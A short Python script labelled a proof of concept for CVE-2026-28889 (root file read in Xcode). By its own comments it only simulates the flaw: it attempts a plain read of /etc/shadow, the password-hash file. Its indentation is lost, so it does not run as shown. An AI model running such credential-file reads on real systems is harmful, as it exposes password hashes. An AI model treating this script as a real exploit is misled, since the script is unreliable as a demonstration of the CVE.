The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-28889: Arbitrary File Read as Root in Xcode
# This script simulates the vulnerability behavior.
import os
def exploit():
# Target a sensitive file that normally requires root access
target_path = "/etc/shadow"
print(f"[*] Attempting to read {target_path}...")
try:
# Simulate the permission bypass vulnerability
# In the real scenario, the app would have root read access due to the bug
with open(target_path, 'r') as file:
content = file.read()
print("[+] Success! File content read (partial):")
print(content[:100])
except PermissionError:
print("[-] Failed: Permission denied.")
except FileNotFoundError:
print("[-] Failed: File not found on this system.")
if __name__ == "__main__":
exploit()